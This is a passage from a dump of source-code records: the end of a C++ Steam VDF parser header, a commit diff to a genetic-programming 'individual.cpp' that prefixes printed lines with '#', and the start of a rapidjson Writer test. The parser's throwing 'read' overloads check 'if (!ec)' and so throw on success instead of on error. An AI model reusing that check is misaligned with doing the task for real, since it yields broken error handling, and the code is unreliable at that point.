\r\n \/** \\brief Read VDF formatted sequences defined by the range [first, last).\r\n If the file is mailformatted, parser will try to read it until it can.\r\n @param first begin iterator\r\n @param end end iterator\r\n @param ec output bool. 0 if ok, otherwise, holds an system error code\r\n\r\n Possible error codes:\r\n std::errc::protocol_error: file is mailformatted\r\n std::errc::not_enough_memory: not enough space\r\n std::errc::invalid_argument: iterators throws e.g. out of range\r\n *\/\r\n\r\n template<typename IterT>\r\n basic_object<typename IterT::value_type> read(IterT first, IterT last, std::error_code& ec) NOEXCEPT\r\n {\r\n typedef typename IterT::value_type charT;\r\n ec.clear();\r\n\r\n basic_object<charT> root;\r\n basic_object<charT>* cur = &root;\r\n std::stack< basic_object<charT>* > lvls;\r\n \/\/read header\r\n \/\/ first, quoted name\r\n auto b = std::find(first, last, TYTI_L(charT, '\\\"'));\r\n auto bend = std::find(b + 1, last, TYTI_L(charT, '\\\"'));\r\n root.name = std::basic_string<charT>(b + 1, bend);\r\n \/\/ second, get {}\r\n b = std::find(bend, last, TYTI_L(charT, '{'));\r\n try\r\n {\r\n if (b == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\r\n return root;\r\n }\r\n else\r\n lvls.push(&root);\r\n while (!lvls.empty() && b != last)\r\n {\r\n const std::basic_string<charT> startsym = TYTI_L(charT, \"\\\"}\");\r\n\r\n \/\/find first starting attrib\/child, or ending\r\n b = std::find_first_of(b, last, std::begin(startsym), std::end(startsym));\r\n if (*b == '\\\"')\r\n {\r\n\r\n \/\/ get key\r\n bend = std::find(b + 1, last, TYTI_L(charT, '\\\"'));\r\n if (bend == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\/\/ could not find end of name\r\n return root;\r\n }\r\n\r\n std::basic_string<charT> key(b + 1, bend);\r\n b = bend + 1;\r\n\r\n const std::basic_string<charT> ecspsym = TYTI_L(charT, \"\\\"{\");\r\n b = std::find_first_of(b, last, std::begin(ecspsym), std::end(ecspsym));\r\n if (b == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\/\/ could not find 2nd part of pair\r\n return root;\r\n }\r\n\r\n \/\/ get value\r\n if (*b == '\\\"')\r\n {\r\n bend = std::find(b + 1, last, TYTI_L(charT, '\\\"'));\r\n if (bend == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\/\/could not find end of name\r\n return root;\r\n }\r\n\r\n auto value = std::basic_string<charT>(b + 1, bend);\r\n b = bend + 1;\r\n\r\n \/\/ process value\r\n if (key != TYTI_L(charT, \"#include\") && key != TYTI_L(charT, \"#base\"))\r\n {\r\n cur->attribs[key] = std::move(value);\r\n }\r\n else\r\n {\r\n std::basic_ifstream<charT> i(detail::string_converter(std::move(value)));\r\n auto n = std::make_shared<basic_object<charT>>(read(i, ec));\r\n if (ec) return root;\r\n cur->childs[n->name] = std::move(n);\r\n }\r\n }\r\n else if (*b == '{')\r\n {\r\n lvls.push(cur);\r\n auto n = std::make_shared<basic_object<charT>>();\r\n cur->childs[key] = n;\r\n cur = n.get();\r\n cur->name = std::move(key);\r\n ++b;\r\n }\r\n }\r\n else if (*b == '}')\r\n {\r\n cur = lvls.top();\r\n lvls.pop();\r\n ++b;\r\n }\r\n }\r\n \r\n }\r\n catch (std::bad_alloc& )\r\n {\r\n ec = std::make_error_code(std::errc::not_enough_memory);\r\n }\r\n catch (...)\r\n {\r\n ec = std::make_error_code(std::errc::invalid_argument);\r\n }\r\n return root;\r\n }\r\n\r\n\r\n \/** \\brief Read VDF formatted sequences defined by the range [first, last).\r\n If the file is mailformatted, parser will try to read it until it can.\r\n @param first begin iterator\r\n @param end end iterator\r\n @param ok output bool. true, if parser successed, false, if parser failed\r\n *\/\r\n template<typename IterT>\r\n basic_object<typename IterT::value_type> read(IterT first, const IterT last, bool* ok) NOEXCEPT\r\n {\r\n std::error_code ec;\r\n auto r = read(first, last, ec);\r\n if (ok) *ok = !ec;\r\n return r;\r\n }\r\n\r\n \/** \\brief Read VDF formatted sequences defined by the range [first, last).\r\n If the file is mailformatted, parser will try to read it until it can.\r\n @param first begin iterator\r\n @param end end iterator\r\n \r\n throws a \"std::system_error\" if a parsing error occured\r\n *\/\r\n template<typename IterT>\r\n basic_object<typename IterT::value_type> read(IterT first, const IterT last)\r\n {\r\n std::error_code ec;\r\n const auto r = read(first, last, ec);\r\n if (!ec)\r\n throw std::system_error(ec);\r\n return r;\r\n }\r\n\r\n \/** \\brief Loads a stream (e.g. filestream) into the memory and parses the vdf formatted data.\r\n throws \"std::bad_alloc\" if file buffer could not be allocated\r\n *\/\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream, std::error_code& ec)\r\n {\r\n \/\/ cache the file\r\n typedef typename iStreamT::char_type charT;\r\n std::basic_string<charT> str;\r\n inStream.seekg(0, std::ios::end);\r\n str.resize(static_cast<size_t>(inStream.tellg()));\r\n if (str.empty())\r\n return basic_object<charT>();\r\n\r\n inStream.seekg(0, std::ios::beg);\r\n inStream.read(&str[0], str.size());\r\n inStream.close();\r\n\r\n \/\/ parse it\r\n return read(str.begin(), str.end(), ec);\r\n }\r\n\r\n \/** \\brief Loads a stream (e.g. filestream) into the memory and parses the vdf formatted data.\r\n throws \"std::bad_alloc\" if file buffer could not be allocated\r\n ok == false, if a parsing error occured\r\n *\/\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream, bool* ok)\r\n {\r\n std::error_code ec;\r\n const auto r = read(inStream, ec);\r\n if (ok) *ok = !ec;\r\n return r;\r\n }\r\n\r\n \/** \\brief Loads a stream (e.g. filestream) into the memory and parses the vdf formatted data.\r\n throws \"std::bad_alloc\" if file buffer could not be allocated\r\n throws \"std::system_error\" if a parsing error occured\r\n *\/\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream)\r\n {\r\n std::error_code ec;\r\n const auto r = read(inStream, ec);\r\n if (!ec) throw std::system_error(ec);\r\n return r;\r\n }\r\n\r\n } \/\/ end namespace vdf\r\n} \/\/ end namespace tyti\r\n#ifndef TYTI_NO_L_UNDEF\r\n#undef TYTI_L\r\n#endif\r\n\r\n#ifdef TYTI_UNDEF_CONSTEXPR\r\n#undef CONSTEXPR\r\n#undef TYTI_NO_L_UNDEF\r\n#endif\r\n\r\n#ifdef TYTI_UNDEF_NOTHROW\r\n#undef NOTHROW\r\n#undef TYTI_UNDEF_NOTHROW\r\n#endif\r\n\r\n#endif \/\/__TYTI_STEAM_VDF_PARSER_H__\r\n<|endoftext|>"} {"text":"<commit_before>\/* indivudal.cpp - CS 472 Project #2: Genetic Programming\n * Copyright 2014 Andrew Schwartzmeyer\n *\n * Source file for individual namespace\n *\/\n\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <iostream>\n#include <memory>\n#include <tuple>\n#include <vector>\n\n#include \"individual.hpp\"\n#include \"..\/options\/options.hpp\"\n#include \"..\/random_generator\/random_generator.hpp\"\n\n\nnamespace individual {\n using std::vector;\n using std::string;\n using options::Options;\n using namespace random_generator;\n\n \/\/ vectors of same-arity function enums\n vector<Function> nullaries{constant, input};\n vector<Function> unaries{sqrt, sin, cos, log, exp};\n vector<Function> binaries{add, subtract, multiply, divide, pow};\n vector<Function> quadnaries{lesser, greater};\n vector<Function> internals{sin, cos, add, subtract, multiply, divide, lesser, greater};\n\n template<typename I, typename S> bool contains(const I & item, const S & set) {\n return std::find(set.begin(), set.end(), item) != set.end();\n }\n\n Function get_internal() {\n int_dist dist{0, int(internals.size()) - 1}; \/\/ closed interval\n return Function(internals[dist(rg.engine)]);\n }\n\n Function get_leaf() {\n int_dist dist{0, int(nullaries.size()) - 1}; \/\/ closed interval\n return Function(nullaries[dist(rg.engine)]);\n }\n\n double get_constant(const double & min, const double & max) {\n real_dist dist{min, max};\n return dist(rg.engine);\n }\n\n int get_arity(const Function & function) {\n if (contains(function, nullaries)) return 0;\n else if (contains(function, unaries)) return 1;\n else if (contains(function, binaries)) return 2;\n else if (contains(function, quadnaries)) return 4;\n assert(false);\n }\n\n Node::Node(const Options & options, const Method & method, const int & max_depth) {\n real_dist dist{0, 1};\n double grow_chance = double(nullaries.size()) \/ double(nullaries.size() + internals.size());\n if (max_depth == 0 or (method == grow and dist(rg.engine) < grow_chance)) {\n function = get_leaf();\n arity = get_arity(function);\n assert(arity == 0);\n \/\/ setup constant function; input is provided on evaluation\n if (function == constant) {\n\t\/\/ choose a random value between the options's min and max\n\tk = get_constant(options.constant_min, options.constant_max);\n }\n }\n else {\n function = get_internal();\n assert(contains(function, internals));\n \/\/ determine node's arity\n arity = get_arity(function);\n assert(arity != 0);\n \/\/ recursively create subtrees\n for (int i = 0; i < arity; ++i)\n\tchildren.emplace_back(Node{options, method, max_depth - 1});\n }\n assert(int(children.size()) == arity); \/\/ ensure arity\n assert(function != null); \/\/ do not create null types\n }\n\n string Node::represent() const {\n switch(function) {\n case null:\n assert(false); \/\/ never represent empty node\n case constant:\n return std::to_string(k);\n case input:\n return \"x\";\n case sqrt:\n return \"sqrt\";\n case sin:\n return \"sin\";\n case cos:\n return \"cos\";\n case log:\n return \"log\";\n case exp:\n return \"exp\";\n case add:\n return \"+\";\n case subtract:\n return \"-\";\n case multiply:\n return \"*\";\n case divide:\n return \"%\";\n case pow:\n return \"^\";\n case lesser:\n return \"<\";\n case greater:\n return \">\";\n }\n assert(false);\n }\n\n string Node::print() const {\n \/\/ Pre-order traversal print of expression in Polish\/prefix notation\n if (children.size() == 0) return represent();\n string formula = \"(\" + represent();\n for (const Node & child : children)\n formula += \" \" + child.print();\n return formula + \")\";\n }\n\n double Node::evaluate(const double & x) const {\n \/\/ depth-first post-order recursive evaluation tree\n double a, b;\n if (arity == 1)\n a = children[0].evaluate(x);\n else if (arity == 2 or arity == 4) {\n \/\/ children c and d are evaluated conditionally\n a = children[0].evaluate(x);\n b = children[1].evaluate(x);\n }\n \/\/ calculate the result\n switch(function) {\n case null:\n assert(false); \/\/ never calculate empty node\n case constant:\n assert(arity == 0);\n return k;\n case input:\n assert(arity == 0);\n return x;\n case sqrt:\n assert(arity == 1);\n return std::sqrt(std::abs(a)); \/\/ protected\n case sin:\n assert(arity == 1);\n return std::sin(a);\n case cos:\n assert(arity == 1);\n return std::cos(a);\n case log:\n assert(arity == 1);\n return (a == 0) ? 0 : std::log(std::abs(a)); \/\/ protected\n case exp:\n assert(arity == 1);\n return std::exp(a);\n case add:\n assert(arity == 2);\n return a + b;\n case subtract:\n assert(arity == 2);\n return a - b;\n case multiply:\n assert(arity == 2);\n return a * b;\n case divide:\n assert(arity == 2);\n return (b == 0) ? 1 : a \/ b; \/\/ protected\n case pow:\n assert(arity == 2);\n return std::pow(std::abs(a), std::abs(b)); \/\/ protected\n case lesser:\n assert(arity == 4);\n return (a < b) ? children[2].evaluate(x) : children[3].evaluate(x);\n case greater:\n assert(arity == 4);\n return (a > b) ? children[2].evaluate(x) : children[3].evaluate(x);\n }\n assert(false);\n }\n\n const Size Node::size() const {\n \/\/ recursively count children via post-order traversal\n \/\/ keep track of internals and leafs via Size struct\n Size size;\n for (const Node & child : children) {\n Size temp = child.size(); \/\/ is this micro-optimizing?\n size.internals += temp.internals;\n size.leafs += temp.leafs;\n }\n if (children.size() == 0) ++size.leafs;\n else ++size.internals;\n return size;\n }\n\n Node empty;\n\n Node & Node::visit(const Size & i, Size & visiting) {\n \/\/ depth-first search for taget node, either internal or leaf\n for (Node & child : children) {\n \/\/ increase relevant count\n if (child.children.size() == 0) ++visiting.leafs;\n else ++visiting.internals;\n \/\/ return node reference if found\n if (visiting.internals == i.internals or visiting.leafs == i.leafs)\n\treturn child;\n Node & temp = child.visit(i, visiting); \/\/ mark each node\n if (temp.function != null) return temp; \/\/ return found node\n }\n return empty; \/\/ need to indicate \"not-found\"\n }\n\n void Node::mutate_self() {\n \/\/ single node mutation to different function of same arity\n if (arity == 0) {\n \/\/ mutate constant to a value in its neighborhood, don't switch functions\n if (function == constant) {\n\tnormal_dist dist{0, 1};\n\tk *= 1 + dist(rg.engine);\n }\n }\n else if (arity == 1) {\n int_dist dist{0, int(unaries.size()) - 1};\n Function prior = function;\n \/\/ ensure we're using a specified available function\n while (function == prior or not contains(function, internals))\n\tfunction = Function(unaries[dist(rg.engine)]);\n }\n else if (arity == 2) {\n int_dist dist{0, int(binaries.size()) - 1};\n Function prior = function;\n while (function == prior or not contains(function, internals))\n\tfunction = Function(binaries[dist(rg.engine)]);\n }\n else if (arity == 4) {\n int_dist dist{0, int(quadnaries.size()) - 1};\n Function prior = function;\n while (function == prior or not contains(function, internals))\n\tfunction = Function(quadnaries[dist(rg.engine)]);\n }\n assert(function != null);\n }\n\n void Node::mutate_tree(const double & chance) {\n \/\/ recursively mutate nodes with options.mutate_chance probability\n real_dist dist{0, 1};\n for (Node & child : children) {\n if (dist(rg.engine) < chance) child.mutate_self();\n child.mutate_tree(chance);\n }\n }\n\n Individual::Individual(const Options & options, const Method method, const int depth): root{Node{options, method, depth}} {\n evaluate(options.values);\n }\n\n string Individual::print() const {\n using std::to_string;\n string info = \"Size \" + to_string(get_total())\n + \", with \" + to_string(get_internals())\n + \" internals, and \" + to_string(get_leafs()) + \" leafs.\\n\"\n + \"Raw fitness: \" + to_string(get_fitness())\n + \", and adjusted: \" + to_string(get_adjusted()) + \".\\n\";\n return info;\n }\n\n string Individual::print_formula() const {\n return \"Formula: \" + root.print() + \"\\n\";\n }\n\n string Individual::evaluate(const options::pairs & values, const double & penalty, const bool & print) {\n using std::to_string;\n using std::get;\n string calculation = \"# x - y - expected - error\\n\";\n \/\/ update size on evaluation because it's incredibly convenient\n size = root.size();\n fitness = penalty * get_total(); \/\/ reset fitness and apply scaled size penalty\n for (auto pair : values) {\n double x = std::get<0>(pair);\n double y = root.evaluate(x);\n assert(not std::isnan(y) and not std::isinf(y));\n double expected = std::get<1>(pair);\n double error = std::pow(y - expected, 2);\n fitness += error;\n if (print)\n\tcalculation += to_string(x) + \"\\t\"\n\t + to_string(y) + \"\\t\"\n\t + to_string(expected) + \"\\t\"\n\t + to_string(error) + \"\\n\";\n }\n return calculation;\n }\n\n void Individual::mutate(const double & chance) {\n \/\/ mutate each node with a options.mutate_chance probability\n root.mutate_tree(chance);\n }\n\n Node & Individual::operator[](const Size & i) {\n assert(i.internals <= get_internals());\n assert(i.leafs <= get_leafs());\n Size visiting;\n if (i.internals == 0 and i.leafs == 0) \/\/ seeking root\n return root;\n return root.visit(i, visiting);\n }\n\n void crossover(const double & chance, Individual & a, Individual & b) {\n real_dist probability{0, 1};\n Size target_a, target_b;\n \/\/ guaranteed to have at least 1 leaf, but may have 0 internals (root as leaf)\n if (a.get_internals() != 0 and probability(rg.engine) < chance) {\n \/\/ choose an internal node\n int_dist dist{0, a.get_internals() - 1};\n target_a.internals = dist(rg.engine);\n } else {\n \/\/ otherwise we choose a leaf node\n int_dist dist{0, a.get_leafs() - 1};\n target_a.leafs = dist(rg.engine);\n }\n \/\/ do the same thing for the second individual\n if (b.get_internals() != 0 and probability(rg.engine) < chance) {\n int_dist dist{0, b.get_internals() - 1};\n target_b.internals = dist(rg.engine);\n } else {\n int_dist dist{0, b.get_leafs() - 1};\n target_b.leafs = dist(rg.engine);\n }\n \/\/ replace nodes\n std::swap(a[target_a], b[target_b]);\n }\n}\n<commit_msg>Prepending \"#\" to lines from print() and print_formula()<commit_after>\/* indivudal.cpp - CS 472 Project #2: Genetic Programming\n * Copyright 2014 Andrew Schwartzmeyer\n *\n * Source file for individual namespace\n *\/\n\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <iostream>\n#include <memory>\n#include <tuple>\n#include <vector>\n\n#include \"individual.hpp\"\n#include \"..\/options\/options.hpp\"\n#include \"..\/random_generator\/random_generator.hpp\"\n\n\nnamespace individual {\n using std::vector;\n using std::string;\n using options::Options;\n using namespace random_generator;\n\n \/\/ vectors of same-arity function enums\n vector<Function> nullaries{constant, input};\n vector<Function> unaries{sqrt, sin, cos, log, exp};\n vector<Function> binaries{add, subtract, multiply, divide, pow};\n vector<Function> quadnaries{lesser, greater};\n vector<Function> internals{sin, cos, add, subtract, multiply, divide, lesser, greater};\n\n template<typename I, typename S> bool contains(const I & item, const S & set) {\n return std::find(set.begin(), set.end(), item) != set.end();\n }\n\n Function get_internal() {\n int_dist dist{0, int(internals.size()) - 1}; \/\/ closed interval\n return Function(internals[dist(rg.engine)]);\n }\n\n Function get_leaf() {\n int_dist dist{0, int(nullaries.size()) - 1}; \/\/ closed interval\n return Function(nullaries[dist(rg.engine)]);\n }\n\n double get_constant(const double & min, const double & max) {\n real_dist dist{min, max};\n return dist(rg.engine);\n }\n\n int get_arity(const Function & function) {\n if (contains(function, nullaries)) return 0;\n else if (contains(function, unaries)) return 1;\n else if (contains(function, binaries)) return 2;\n else if (contains(function, quadnaries)) return 4;\n assert(false);\n }\n\n Node::Node(const Options & options, const Method & method, const int & max_depth) {\n real_dist dist{0, 1};\n double grow_chance = double(nullaries.size()) \/ double(nullaries.size() + internals.size());\n if (max_depth == 0 or (method == grow and dist(rg.engine) < grow_chance)) {\n function = get_leaf();\n arity = get_arity(function);\n assert(arity == 0);\n \/\/ setup constant function; input is provided on evaluation\n if (function == constant) {\n\t\/\/ choose a random value between the options's min and max\n\tk = get_constant(options.constant_min, options.constant_max);\n }\n }\n else {\n function = get_internal();\n assert(contains(function, internals));\n \/\/ determine node's arity\n arity = get_arity(function);\n assert(arity != 0);\n \/\/ recursively create subtrees\n for (int i = 0; i < arity; ++i)\n\tchildren.emplace_back(Node{options, method, max_depth - 1});\n }\n assert(int(children.size()) == arity); \/\/ ensure arity\n assert(function != null); \/\/ do not create null types\n }\n\n string Node::represent() const {\n switch(function) {\n case null:\n assert(false); \/\/ never represent empty node\n case constant:\n return std::to_string(k);\n case input:\n return \"x\";\n case sqrt:\n return \"sqrt\";\n case sin:\n return \"sin\";\n case cos:\n return \"cos\";\n case log:\n return \"log\";\n case exp:\n return \"exp\";\n case add:\n return \"+\";\n case subtract:\n return \"-\";\n case multiply:\n return \"*\";\n case divide:\n return \"%\";\n case pow:\n return \"^\";\n case lesser:\n return \"<\";\n case greater:\n return \">\";\n }\n assert(false);\n }\n\n string Node::print() const {\n \/\/ Pre-order traversal print of expression in Polish\/prefix notation\n if (children.size() == 0) return represent();\n string formula = \"(\" + represent();\n for (const Node & child : children)\n formula += \" \" + child.print();\n return formula + \")\";\n }\n\n double Node::evaluate(const double & x) const {\n \/\/ depth-first post-order recursive evaluation tree\n double a, b;\n if (arity == 1)\n a = children[0].evaluate(x);\n else if (arity == 2 or arity == 4) {\n \/\/ children c and d are evaluated conditionally\n a = children[0].evaluate(x);\n b = children[1].evaluate(x);\n }\n \/\/ calculate the result\n switch(function) {\n case null:\n assert(false); \/\/ never calculate empty node\n case constant:\n assert(arity == 0);\n return k;\n case input:\n assert(arity == 0);\n return x;\n case sqrt:\n assert(arity == 1);\n return std::sqrt(std::abs(a)); \/\/ protected\n case sin:\n assert(arity == 1);\n return std::sin(a);\n case cos:\n assert(arity == 1);\n return std::cos(a);\n case log:\n assert(arity == 1);\n return (a == 0) ? 0 : std::log(std::abs(a)); \/\/ protected\n case exp:\n assert(arity == 1);\n return std::exp(a);\n case add:\n assert(arity == 2);\n return a + b;\n case subtract:\n assert(arity == 2);\n return a - b;\n case multiply:\n assert(arity == 2);\n return a * b;\n case divide:\n assert(arity == 2);\n return (b == 0) ? 1 : a \/ b; \/\/ protected\n case pow:\n assert(arity == 2);\n return std::pow(std::abs(a), std::abs(b)); \/\/ protected\n case lesser:\n assert(arity == 4);\n return (a < b) ? children[2].evaluate(x) : children[3].evaluate(x);\n case greater:\n assert(arity == 4);\n return (a > b) ? children[2].evaluate(x) : children[3].evaluate(x);\n }\n assert(false);\n }\n\n const Size Node::size() const {\n \/\/ recursively count children via post-order traversal\n \/\/ keep track of internals and leafs via Size struct\n Size size;\n for (const Node & child : children) {\n Size temp = child.size(); \/\/ is this micro-optimizing?\n size.internals += temp.internals;\n size.leafs += temp.leafs;\n }\n if (children.size() == 0) ++size.leafs;\n else ++size.internals;\n return size;\n }\n\n Node empty;\n\n Node & Node::visit(const Size & i, Size & visiting) {\n \/\/ depth-first search for taget node, either internal or leaf\n for (Node & child : children) {\n \/\/ increase relevant count\n if (child.children.size() == 0) ++visiting.leafs;\n else ++visiting.internals;\n \/\/ return node reference if found\n if (visiting.internals == i.internals or visiting.leafs == i.leafs)\n\treturn child;\n Node & temp = child.visit(i, visiting); \/\/ mark each node\n if (temp.function != null) return temp; \/\/ return found node\n }\n return empty; \/\/ need to indicate \"not-found\"\n }\n\n void Node::mutate_self() {\n \/\/ single node mutation to different function of same arity\n if (arity == 0) {\n \/\/ mutate constant to a value in its neighborhood, don't switch functions\n if (function == constant) {\n\tnormal_dist dist{0, 1};\n\tk *= 1 + dist(rg.engine);\n }\n }\n else if (arity == 1) {\n int_dist dist{0, int(unaries.size()) - 1};\n Function prior = function;\n \/\/ ensure we're using a specified available function\n while (function == prior or not contains(function, internals))\n\tfunction = Function(unaries[dist(rg.engine)]);\n }\n else if (arity == 2) {\n int_dist dist{0, int(binaries.size()) - 1};\n Function prior = function;\n while (function == prior or not contains(function, internals))\n\tfunction = Function(binaries[dist(rg.engine)]);\n }\n else if (arity == 4) {\n int_dist dist{0, int(quadnaries.size()) - 1};\n Function prior = function;\n while (function == prior or not contains(function, internals))\n\tfunction = Function(quadnaries[dist(rg.engine)]);\n }\n assert(function != null);\n }\n\n void Node::mutate_tree(const double & chance) {\n \/\/ recursively mutate nodes with options.mutate_chance probability\n real_dist dist{0, 1};\n for (Node & child : children) {\n if (dist(rg.engine) < chance) child.mutate_self();\n child.mutate_tree(chance);\n }\n }\n\n Individual::Individual(const Options & options, const Method method, const int depth): root{Node{options, method, depth}} {\n evaluate(options.values);\n }\n\n string Individual::print() const {\n using std::to_string;\n string info = \"# Size \" + to_string(get_total())\n + \", with \" + to_string(get_internals())\n + \" internals, and \" + to_string(get_leafs()) + \" leafs.\\n\"\n + \"# Raw fitness: \" + to_string(get_fitness())\n + \", and adjusted: \" + to_string(get_adjusted()) + \".\\n\";\n return info;\n }\n\n string Individual::print_formula() const {\n return \"# Formula: \" + root.print() + \"\\n\";\n }\n\n string Individual::evaluate(const options::pairs & values, const double & penalty, const bool & print) {\n using std::to_string;\n using std::get;\n string calculation = \"# x - y - expected - error\\n\";\n \/\/ update size on evaluation because it's incredibly convenient\n size = root.size();\n fitness = penalty * get_total(); \/\/ reset fitness and apply scaled size penalty\n for (auto pair : values) {\n double x = std::get<0>(pair);\n double y = root.evaluate(x);\n assert(not std::isnan(y) and not std::isinf(y));\n double expected = std::get<1>(pair);\n double error = std::pow(y - expected, 2);\n fitness += error;\n if (print)\n\tcalculation += to_string(x) + \"\\t\"\n\t + to_string(y) + \"\\t\"\n\t + to_string(expected) + \"\\t\"\n\t + to_string(error) + \"\\n\";\n }\n return calculation;\n }\n\n void Individual::mutate(const double & chance) {\n \/\/ mutate each node with a options.mutate_chance probability\n root.mutate_tree(chance);\n }\n\n Node & Individual::operator[](const Size & i) {\n assert(i.internals <= get_internals());\n assert(i.leafs <= get_leafs());\n Size visiting;\n if (i.internals == 0 and i.leafs == 0) \/\/ seeking root\n return root;\n return root.visit(i, visiting);\n }\n\n void crossover(const double & chance, Individual & a, Individual & b) {\n real_dist probability{0, 1};\n Size target_a, target_b;\n \/\/ guaranteed to have at least 1 leaf, but may have 0 internals (root as leaf)\n if (a.get_internals() != 0 and probability(rg.engine) < chance) {\n \/\/ choose an internal node\n int_dist dist{0, a.get_internals() - 1};\n target_a.internals = dist(rg.engine);\n } else {\n \/\/ otherwise we choose a leaf node\n int_dist dist{0, a.get_leafs() - 1};\n target_a.leafs = dist(rg.engine);\n }\n \/\/ do the same thing for the second individual\n if (b.get_internals() != 0 and probability(rg.engine) < chance) {\n int_dist dist{0, b.get_internals() - 1};\n target_b.internals = dist(rg.engine);\n } else {\n int_dist dist{0, b.get_leafs() - 1};\n target_b.leafs = dist(rg.engine);\n }\n \/\/ replace nodes\n std::swap(a[target_a], b[target_b]);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"unittest.h\"\r\n#include \"rapidjson\/document.h\"\r\n#include \"rapidjson\/reader.h\"\r\n#include \"rapidjson\/writer.h\"\r\n#include \"rapidjson\/stringbuffer.h\"\r\n\r\nusing namespace rapidjson;\r\n\r\nTEST(Writer, Compact) {\r\n\tStringStream s(\"{ \\\"hello\\\" : \\\"world\\\", \\\"t\\\" : true , \\\"f\\\" : false, \\\"n\\\": null, \\\"i\\\":123, \\\"pi\\\": 3.1416, \\\"a\\\":[1, 2, 3] } \");\r\n\tStringBuffer buffer;\r\n\tWriter<StringBuffer> writer(buffer);\r\n\tReader reader;\r\n\treader.Parse<0>(s, writer);\r\n\tEXPECT_STREQ(\"{\\\"hello\\\":\\\"world\\\",\\\"t\\\":true,\\\"f\\\":false,\\\"n\\\":null,\\\"i\\\":123,\\\"pi\\\":3.1416,\\\"a\\\":[1,2,3]}\", buffer.GetString());\r\n\tEXPECT_EQ(77u, buffer.GetSize());\r\n}\r\n\r\n\/\/ json -> parse -> writer -> json\r\n#define TEST_ROUNDTRIP(json) \\\r\n\t{ \\\r\n\t\tStringStream s(json); \\\r\n\t\tStringBuffer buffer; \\\r\n\t\tWriter<StringBuffer> writer(buffer); \\\r\n\t\tReader reader; \\\r\n\t\treader.Parse<0>(s, writer); \\\r\n\t\tEXPECT_STREQ(json, buffer.GetString()); \\\r\n\t}\r\n\r\nTEST(Writer, Int) {\r\n\tTEST_ROUNDTRIP(\"[-1]\");\r\n\tTEST_ROUNDTRIP(\"[-123]\");\r\n\tTEST_ROUNDTRIP(\"[-2147483648]\");\r\n}\r\n\r\nTEST(Writer, UInt) {\r\n\tTEST_ROUNDTRIP(\"[0]\");\r\n\tTEST_ROUNDTRIP(\"[1]\");\r\n\tTEST_ROUNDTRIP(\"[123]\");\r\n\tTEST_ROUNDTRIP(\"[2147483647]\");\r\n\tTEST_ROUNDTRIP(\"[4294967295]\");\r\n}\r\n\r\nTEST(Writer, Int64) {\r\n\tTEST_ROUNDTRIP(\"[-1234567890123456789]\");\r\n\tTEST_ROUNDTRIP(\"[-9223372036854775808]\");\r\n}\r\n\r\nTEST(Writer, Uint64) {\r\n\tTEST_ROUNDTRIP(\"[1234567890123456789]\");\r\n\tTEST_ROUNDTRIP(\"[9223372036854775807]\");\r\n}\r\n\r\nTEST(Writer, String) {\r\n\tTEST_ROUNDTRIP(\"[\\\"Hello\\\"]\");\r\n\tTEST_ROUNDTRIP(\"[\\\"Hello\\\\u0000World\\\"]\");\r\n\tTEST_ROUNDTRIP(\"[\\\"\\\\\\\"\\\\\\\\\/\\\\b\\\\f\\\\n\\\\r\\\\t\\\"]\");\r\n}\r\n\r\nTEST(Writer,DoublePrecision) {\r\n\tconst char json[] = \"[1.2345,1.2345678,0.123456789012,1234567.8]\";\r\n\r\n\tStringBuffer buffer;\r\n\tWriter<StringBuffer> writer(buffer);\r\n\r\n\tconst int kDefaultDoublePrecision = 6;\r\n\t\/\/ handling the double precision\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\twriter.SetDoublePrecision(17);\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), 17);\r\n\twriter.SetDoublePrecision(-1); \/\/ negative equivalent to reset\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\twriter.SetDoublePrecision(1);\r\n\twriter.SetDoublePrecision(); \/\/ reset again\r\n\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\r\n\t{ \/\/ write with explicitly increased precision\r\n\t\tStringStream s(json);\r\n\t\tReader reader;\r\n\t\treader.Parse<0>(s, writer.SetDoublePrecision(12));\r\n\t\tEXPECT_EQ(writer.GetDoublePrecision(), 12);\r\n\t\tEXPECT_STREQ(json, buffer.GetString());\r\n\t\tbuffer.Clear();\r\n\t}\r\n\t{ \/\/ explicit individual double precisions\r\n\t\twriter.SetDoublePrecision(2)\r\n\t\t\t.StartArray()\r\n\t\t\t.Double(1.2345,5)\r\n\t\t\t.Double(1.2345678,9)\r\n\t\t\t.Double(0.123456789012,12)\r\n\t\t\t.Double(1234567.8,8)\r\n\t\t\t.EndArray();\r\n\r\n\t\tEXPECT_EQ(writer.GetDoublePrecision(), 2);\r\n\t\tEXPECT_STREQ(json, buffer.GetString());\r\n\t\tbuffer.Clear();\r\n\t}\r\n\t{ \/\/ write with default precision (output with precision loss)\r\n\t\tDocument d;\r\n\t\td.Parse<0>(json);\r\n\t\td.Accept(writer.SetDoublePrecision());\r\n\r\n\t\t\/\/ parsed again to avoid platform-dependent floating point outputs\r\n\t\t\/\/ (e.g. width of exponents)\r\n\t\td.Parse<0>(buffer.GetString());\r\n\t\tEXPECT_EQ(writer.GetDoublePrecision(), kDefaultDoublePrecision);\r\n\t\tEXPECT_DOUBLE_EQ(d[0u].GetDouble(), 1.2345);\r\n\t\tEXPECT_DOUBLE_EQ(d[1u].GetDouble(), 1.23457);\r\n\t\tEXPECT_DOUBLE_EQ(d[2u].GetDouble(), 0.123457);\r\n\t\tEXPECT_DOUBLE_EQ(d[3u].GetDouble(), 1234570);\r\n\t\tbuffer.Clear();\r\n\t}\r\n}\r\n\r\nTEST(Writer, Transcode) {\r\n\t\/\/ UTF8 -> UTF16 -> UTF8\r\n\tStringStream s(\"{ \\\"hello\\\" : \\\"world\\\", \\\"t\\\" : true , \\\"f\\\" : false, \\\"n\\\": null, \\\"i\\\":123, \\\"pi\\\": 3.1416, \\\"a\\\":[1, 2, 3], \\\"dollar\\\":\\\"\\x24\\\", 